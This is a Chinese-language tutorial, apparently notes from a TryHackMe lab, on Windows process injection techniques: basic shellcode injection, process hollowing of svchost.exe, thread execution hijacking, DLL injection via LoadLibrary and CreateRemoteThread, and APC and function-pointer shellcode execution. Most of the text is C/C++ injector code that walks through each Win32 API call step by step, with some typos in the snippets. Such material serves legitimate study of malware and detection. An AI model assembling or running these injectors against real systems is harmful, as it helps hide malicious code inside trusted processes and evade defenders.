文章目錄
- 一、Abusing Processes
- 二、進程鏤空
- 三、線程劫持
- 四、DLL注入
- 五、Memory Execution Alternatives
一、Abusing Processes
操作系統上運行的應用程序可以包含一個或多個進程,進程表示正在執行的程序。進程包含許多其他子組件,并且直接與內存或虛擬內存交互,下表描述了進程的每個關鍵組件及其用途。
Process Component | Purpose |
---|---|
私有虛擬地址空間 | 進程分配的虛擬內存地址 |
可執行程序 | 存儲在虛擬地址空間中的代碼和數據 |
打開句柄(open handle) | 定義進程可訪問的系統資源句柄 |
安全上下文 | 訪問令牌定義用戶、安全組、權限和其他安全信息 |
進程 ID | 進程的唯一數字標識符 |
線程 | 進程中計劃執行的部分 |
進程注入指通過合法功能或組件將惡意代碼注入進程。下面將重點介紹以下四種不同類型的進程注入。
進程注入類型 | 功能 |
---|---|
Process Hollowing(進程鏤空) | 創建一個目標進程(通常是合法進程,如svchost.exe)并將其主模塊(如exe映像)從內存中“挖空”(替換為惡意代碼)。 |
Thread Execution Hijacking(線程執行劫持) | 掛起目標進程的某個線程,修改其上下文(如指令指針EIP/RIP)指向注入的惡意代碼,恢復線程后執行惡意邏輯。 |
Dynamic-link Library Injection(DLL注入) | 將惡意DLL加載到目標進程內存中,并通過遠程線程(如LoadLibrary調用)或修改導入表使其執行。 |
Portable Executable Injection(PE注入) | 將惡意可執行文件(PE)的映像直接寫入目標進程內存,并手動執行(無需通過LoadLibrary)。 |
進程注入采用Shellcode
注入的形式,可以分為四個步驟:
- 打開一個擁有所有訪問權限的目標進程。
- 為Shellcode分配目標進程內存。
- 將Shellcode寫入目標進程中已分配的內存。
- 使用遠程線程執行Shellcode。
上述步驟也可以圖形化地分解,以描述Windows API
調用如何與進程內存交互。
實現一個基本shellcode注入器的基本步驟如下:
1、通過OpenProcess
獲取目標進程的句柄(handle);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, // Defines access rightsFALSE, // Target handle will not be inheretedDWORD(atoi(argv[1])) // Local process supplied by command-line arguments
);
2、使用VirtualAllocEx
在目標進程中分配內存 ;
remoteBuffer = VirtualAllocEx(processHandle, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
3、使用WriteProcessMemory
在目標內存中寫入Shellcode;
WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);
4、使用CreateRemoteThread
執行Shellcode;
remoteThread = CreateRemoteThread(processHandle, // Opened target processNULL, 0, // Default size of the stack(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the threadNULL, 0, // Ran immediately after creationNULL
);
二、進程鏤空
Process Hollowing
是進程注入的一種方法,能夠將整個惡意文件注入進程,具體則是hollowing
或取消進程映射,并將特定的 PE(可移植可執行文件)數據和段注入進程。其大致可分為六個步驟:
- 創建一個處于掛起狀態的目標進程;
- 打開惡意映像;
- 從進程內存中取消合法代碼的映射;
- 為惡意代碼分配內存位置,并將每個段寫入地址空間;
- 設置惡意代碼的入口點;
- 使目標進程退出掛起狀態。
該過程可用下圖表示:
實現Process Hollowing
的基本步驟如下:
1、啟動一個合法進程(如svchost.exe),但主線程處于掛起狀態,此時進程內存已初始化但未執行代碼。
LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointerif (CreateProcessA((LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to executeNULL,NULL,NULL,TRUE, // Handles are inherited from the calling processCREATE_SUSPENDED, // New process is suspendedNULL,NULL,target_si, // pointer to startup infotarget_pi) == 0) { // pointer to process informationcout << "[!] Failed to create Target process. Last Error: " << GetLastError();return 1;
2、使用CreateFileA
獲取惡意映像的句柄。
HANDLE hMaliciousCode = CreateFileA((LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtainGENERIC_READ, // Read-only accessFILE_SHARE_READ, // Read-only share modeNULL,OPEN_EXISTING, // Instructed to open a file or device if it existsNULL,NULL
);
3、一旦獲取到惡意映像的句柄,就必須使用VirtualAlloc
為惡意文件分配本地內存,GetFileSize
函數也用于檢索惡意映像所需內存大小。
DWORD maliciousFileSize = GetFileSize(hMaliciousCode, // Handle of malicious image0 // Returns no error
);PVOID pMaliciousImage = VirtualAlloc(NULL,maliciousFileSize, // File size of malicious image0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x04 // Enables read/write access (PAGE_READWRITE)
);
4、寫入惡意文件
DWORD numberOfBytesRead; // Stores number of bytes readif (!ReadFile(hMaliciousCode, // Handle of malicious imagepMaliciousImage, // Allocated region of memorymaliciousFileSize, // File size of malicious image&numberOfBytesRead, // Number of bytes readNULL)) {cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;TerminateProcess(target_pi->hProcess, 0);return 1;
}CloseHandle(hMaliciousCode);
5、通過線程上下文獲取PEB地址,進而讀取原始EXE的基址。
CPU 寄存器 EAX(入口點)和 EBX(PEB 位置)包含我們需要獲取的信息;這些信息可以通過使用
GetThreadContext
找到。找到這兩個寄存器后,使用ReadProcessMemory
從 EBX 獲取基址,并通過檢查 PEB 獲得偏移量 (0x8)。
c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to store retrieved context
); // Obtains the current thread contextPVOID pTargetImageBaseAddress;
ReadProcessMemory(target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure(PVOID)(c.Ebx + 8), // Pointer to the base address&pTargetImageBaseAddress, // Store target base address sizeof(PVOID), // Bytes to read 0 // Number of bytes out
);
6、清空目標進程的原始代碼/數據,形成“空洞”。可以使用從ntdll.dll
導入的ZwUnmapViewOfSection
來釋放目標進程的內存。
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, // Handle of ntdll"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdllDWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress // Base address of the process
);
7、在Hollowed
進程中為惡意進程分配內存。
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanewDWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structurePVOID pHollowAddress = VirtualAllocEx(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processsizeOfMaliciousImage, // Byte size obtained from optional header0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);
8、一旦分配了內存,將惡意PE頭寫入內存;
if (!WriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processpMaliciousImage, // Local memory where the malicious file residespNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers NULL
)) {cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}
9、寫入惡意進程的各節區;
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE dataPIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section headerWriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current sectionpSectionHeader->SizeOfRawData, // Byte size of current sectionNULL);
}
10、使用SetThreadContext
將EAX更改為指向惡意入口點;
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional headerSetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to the stored context structure
);
11、使用ResumeThread
將進程從掛起狀態中喚醒。
ResumeThread(target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);
三、線程劫持
線程劫持可分為10個步驟:
- 定位并打開要控制的目標進程。
- 為惡意代碼分配內存區域。
- 將惡意代碼寫入分配的內存。
- 識別要劫持的目標線程的線程 ID。
- 打開目標線程。
- 暫停目標線程。
- 獲取線程上下文。
- 將指令指針更新為惡意代碼。
- 重寫目標線程上下文。
- 恢復被劫持的線程。
1、前三個步驟與常規進程注入步驟相同,可參考一下代碼:
// 打開目標進程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);// 為惡意代碼分配內存區域
PVOIF remoteBuffer = VirtualAllocEx(hProcess, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);// 將惡意代碼寫入分配的內存
WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);
2、通過識別線程ID來開始劫持進程線程。為了識別線程ID,我們需要使用三個Windows API調用:CreateToolhelp32Snapshot()
、Thread32First()
和Thread32Next()
。
THREADENTRY32 threadEntry;HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPTHREAD, // Include all processes residing on the system0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshothSnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
);while (Thread32Next( // Obtains the next thread in the snapshotsnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
)) {
3、打開目標線程
if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match{HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child threads do not inheret parent thread handlethreadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer);break;}
4、使用SuspendThread
掛起目標線程
SuspendThread(hThread);
5、獲取線程上下文;
CONTEXT context;
GetThreadContext(hThread, // Handle for the thread &context // Pointer to store the context structure
);
6、劫持目標線程執行流。線程恢復執行時,CPU將從Rip指向的地址(即Shellcode)開始執行,而非原代碼邏輯。
context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation
7、更新目標線程上下文;
SetThreadContext(hThread, // Handle for the thread &context // Pointer to the context structure
);
8、重啟線程;
ResumeThread(hThread // Handle for the thread
);
四、DLL注入
DLL注入總體可分為5個步驟:
- 找到要注入的目標進程。
- 打開目標進程。
- 為惡意 DLL 分配內存區域。
- 將惡意 DLL 寫入分配的內存。
- 加載并執行惡意 DLL。
1、在 DLL 注入的第一步中,我們必須定位目標進程。可以使用如下三個Windows API函數:CreateToolhelp32Snapshot()
、Process32First()
和 Process32Next()
。
DWORD getProcessId(const char *processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPPROCESS, // Include all processes residing on the system0 // Indicates the current process);if (hSnapshot) {PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structureentry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structureif (Process32First( // Obtains the first process in the snapshothSnapshot, // Handle of the snapshot&entry // Pointer to the PROCESSENTRY32 structure)) {do {if (!strcmp( // Compares two strings to determine if the process name matchesentry.szExeFile, // Executable file name of the current process from PROCESSENTRY32processName // Supplied process name)) { return entry.th32ProcessID; // Process ID of matched process}} while (Process32Next( // Obtains the next process in the snapshothSnapshot, // Handle of the snapshot&entry)); // Pointer to the PROCESSENTRY32 structure}}DWORD processId = getProcessId(processName); // Stores the enumerated process ID
2、使用GetModuleHandle、GetProcAddress或OpenProcess
打開該進程。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);
3、使用VirtualAllocEx
為惡意 DLL 分配內存。
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, // Handle for the target processNULL, strlen(dllLibFullPath), // Size of the DLL pathMEM_RESERVE | MEM_COMMIT, // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
4、使用WriteProcessMemory
將惡意DLL寫入分配的內存位置。
WriteProcessMemory(hProcess, // Handle for the target processdllAllocatedMemory, // Allocated memory regiondllLibFullPath, // Path to the malicious DLLstrlen(dllLibFullPath) + 1, // Byte size of the malicious DLLNULL
);
5、惡意 DLL 被寫入內存后,加載并執行它。要加載該 DLL,我們需要使用從kernel32導入的LoadLibrary
函數。加載完成后,可以使用CreateRemoteThread
函數,以LoadLibrary
作為啟動函數來執行內存。
LPVOID loadLibrary = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), // Handle of the module containing the call"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, // Handle for the target processNULL, 0, // Default size from the execuatable of the stack(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting functiondllAllocatedMemory, // pointer to the allocated memory region0, // Runs immediately after creationNULL
);
五、Memory Execution Alternatives
shellcode執行技術:
1、調用函數指針(Invoking Function Pointers
)
void 函數指針是一種非常新穎的內存塊執行方法,它完全依賴于類型轉換。這種技術只能在本地分配的內存中執行,但不依賴于任何API 調用或其他系統功能。
下面的單行代碼是 void 函數指針最常見的形式,但我們可以進一步分解它來解釋它的組成部分。
- 創建一個函數指針
(void(*)()
;紅色框出 - 將分配的內存指針或 shellcode 數組強制轉換為函數指針
(<function pointer>)addressPointer)
,黃色框出 - 調用函數指針執行shellcode
();
,綠色框出
2、異步過程調用(Asynchronous Procedure Calls
)
異步過程調用 (APC) 是在特定線程上下文中異步執行的函數。APC函數通過 QueueUserAPC
排隊到線程。排隊后,APC函數將觸發軟件中斷,并在下次線程調度時執行該函數。
為了讓用戶態/用戶模式應用程序將APC函數排隊,線程必須處于“可警告狀態”。可警告狀態要求線程等待回調函數,例如WaitForSingleObject
或Sleep
。
現在我們了解了什么是 APC 函數,接下來看看它們是如何被惡意利用的!我們將使用VirtualAllocEx
和WriteProcessMemory
來分配和寫入內存。
QueueUserAPC((PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winntpinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure(ULONG_PTR)NULL);
ResumeThread(pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structureINFINITE // Wait infinitely until alerted
);
3、PE節區操縱(Section Manipulation
)
核心思想:利用PE文件的節區(如.text、.data)存儲惡意代碼,通過修改入口點或節區屬性實現執行。
PE格式定義了 Windows 中可執行文件的結構和格式。為了執行,我們主要關注節,特別是 .data 和 .text 節,此外,表和指向節的指針也常用于執行數據。
要開始使用任何節操作技術,我們需要獲取 PE 轉儲。獲取 PE 轉儲通常是通過將 DLL 或其他惡意文件輸入到 xxd 中來實現的。每種方法的核心都是使用數學運算來遍歷物理十六進制數據,并將其轉換為 PE 數據。一些較為常見的技術包括 RVA 入口點解析、節映射和重定位表解析。